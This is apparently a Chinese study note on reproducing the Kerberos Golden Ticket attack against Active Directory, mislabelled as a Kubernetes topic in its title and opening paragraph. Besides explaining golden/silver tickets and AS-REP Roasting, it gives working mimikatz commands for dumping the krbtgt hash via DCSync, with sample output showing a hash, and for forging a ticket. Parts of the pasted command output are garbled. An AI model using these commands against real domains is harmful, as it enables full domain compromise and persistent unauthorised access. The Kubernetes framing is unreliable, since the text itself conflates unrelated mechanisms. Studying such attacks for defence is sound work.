复现k8s黄金票据学习

1.什么是黄金票据

在 Kubernetes 中,"黄金票据"并不是一个常见的术语。可能你想了解的是服务账户(Service Account)。服务账户是 Kubernetes 中用于身份验证和授权的一种机制。它们允许 Pods 或其他工作负载在 Kubernetes 集群中与 API 服务器进行交互,并且可以通过角色绑定(Role Binding)或集群角色绑定(ClusterRole Binding)来授予特定的权限。服务账户通常用于确定哪些 Pod 具有对集群资源的访问权限。

幽默理解就是:

想象一下,这些"票据"就像是给你的应用程序一把通往 Kubernetes 世界的"金钥匙",让它们可以自如地与 Kubernetes 集群交流,像是在黄金矿里挖掘自己的资源一样。

在Kerberos协议中,主要有以下三个角色:

  • 访问服务的客户端:Kerberos客户端是代表需要访问资源的用户进行操作的应用程序,例如打开文件、查询数据库或打印文档。每个Kerberos客户端在访问资源之前都会请求身份验证。

  • 提供服务的服务端:域内提供服务的服务端,服务端都有一个独一的SPN。

  • ‍提供认证服务的KDC(Key Distribution Center,密钥分发中心):KDC密钥发行中心是一种网络服务,它向活动目录域内的用户和计算机提供会话票据和临时会话密钥,其服务帐户为krbtgt。KDC作为活动目录域服务ADDS的一部分运行在每个域控制器上。 这里说一下krbtgt帐户,该用户是在创建活动目录时系统自动创建的一个账号,其作用是KDC密钥发行中心的服务账号,其密码是系统随机生成的,无法正常登陆主机。

  net user krbtgt

  comment
  Jser's comment
  country/region code
  Account active
  Account expires
  Password last set
  Password expires
  Password changeable
  Password required
  Jser may change password
  Workstations allowed
  ogon script
  Jser profile
  directoryHome
  .astlogon
  krbtgt
  密钥发行中心服务帐户
  000(system Default)NO
  Never

Kerberos协议有两个基础认证模块:AS_REQ & AS_REPTGS_REQ & TGS_REP ,以及微软扩展的两个认证模块 S4U 和 PAC 。S4U是微软为了实现委派而扩展的模块,分为 S4U2Self 和 S4U2Proxy 。

在 AS-REP 阶段 ,由于返回的 TGT 认购权证是由 krbtgt 用户的密码Hash加密的,因此如果我们拥有 krbtgt 的密码 hash 就可以自己制作一个TGT认购权证,这种攻击方式被称为黄金票据攻击 。同样,在TGS-REP阶段,TGS_REP里面的ST服务票据是使用服务的hash进行加密的,如果我们拥有服务的hash,就可以签发任意用户的ST服务票据,这个票据也被称为白银票据,这种攻击方式被称为白银票据攻击。相较于黄金票据,白银票据使用要访问服务的hash,而不是krbtgt的hash。

在AS-REP阶段 ,Login session key是用用户密码 Hash 加密的。对于域用户,如果设置了"Do not require Kerberos preauthentication"不需要预认证选项,此时攻击者向域控制器的 88 端口发送 AS_REQ 请求,此时域控不会做任何验证就将 TGT认购权证 和 该用户Hash加密的Login Session Key返回。因此,攻击者就可以对获取到的 用户Hash加密的Login Session Key进行离线破解,如果破解成功,就能得到该用户的密码明文,这种攻击方式被称为 AS-REP Roasting攻击

使用黄金票据(Golden Ticket)攻击时,需要以下信息:

  1. 域名
  2. 域的SID 值
  3. 域的KRBTGT账户NTLM密码哈希
  4. 伪造用户名

mimikatz工具,命令:lsadump::dcsync /domian:域名 /user:krbtgt

systeminfo

net time /domain

ipconfig /all

whoami /user

获取域的krbtgt ntml hash

mimikatz # privilege::debug

Privilege '20'

mimikatz # lsadump::dcsync /domain:g3et.cn /user:krbtgt /csv

[DC] 'g3et.cn' will be the domain

[DC] 'WIN-8BK8IDHGL5P.g3et.cn' will be the DC server

[DC] 'krbtgt' will be the user account

[rpc] Service : ldap

[rpc] AuthnSvc : GSS_NEGOTIATE (9)

502 krbtgt e3b30d549fd63dd07a8d4c301e9ccf21 514

伪造票据

kerberos::golden /krbtgt:e3b30d549fd63dd07a8d4c301e9ccf21 /admin:Administrator /domain:g3et.cn /sid:S-1-5-21-1280000652-1105608915-707843028 /ticket:g3et.kirbi

总结1、用域管理运行mimikatz抓取完所需的东西 ==>再到域用户机器上运行伪造票据.。2、krbtgt只存在域控上面,普通机器提权之类的无法获取到krbtgt的hash

3、黄金票据可以获取任何 Kerberos 服务权限,且由 krbtgt 的 hash 加密

相关推荐
福大大架构师每日一题7 小时前
22.1 k8s不同role级别的服务发现
容器·kubernetes·服务发现
莹雨潇潇7 小时前
Docker 快速入门(Ubuntu版)
java·前端·docker·容器
weixin_453965008 小时前
[单master节点k8s部署]30.ceph分布式存储(一)
分布式·ceph·kubernetes
weixin_453965008 小时前
[单master节点k8s部署]32.ceph分布式存储(三)
分布式·ceph·kubernetes
tangdou3690986558 小时前
1分钟搞懂K8S中的NodeSelector
云原生·容器·kubernetes
Lansonli9 小时前
云原生(四十一) | 阿里云ECS服务器介绍
服务器·阿里云·云原生
Dylanioucn10 小时前
【分布式微服务云原生】掌握分布式缓存:Redis与Memcached的深入解析与实战指南
分布式·缓存·云原生
tangdou36909865511 小时前
Docker系列-5种方案超详细讲解docker数据存储持久化(volume,bind mounts,NFS等)
docker·容器
later_rql11 小时前
k8s-集群部署1
云原生·容器·kubernetes
weixin_4539650013 小时前
[单master节点k8s部署]31.ceph分布式存储(二)
分布式·ceph·kubernetes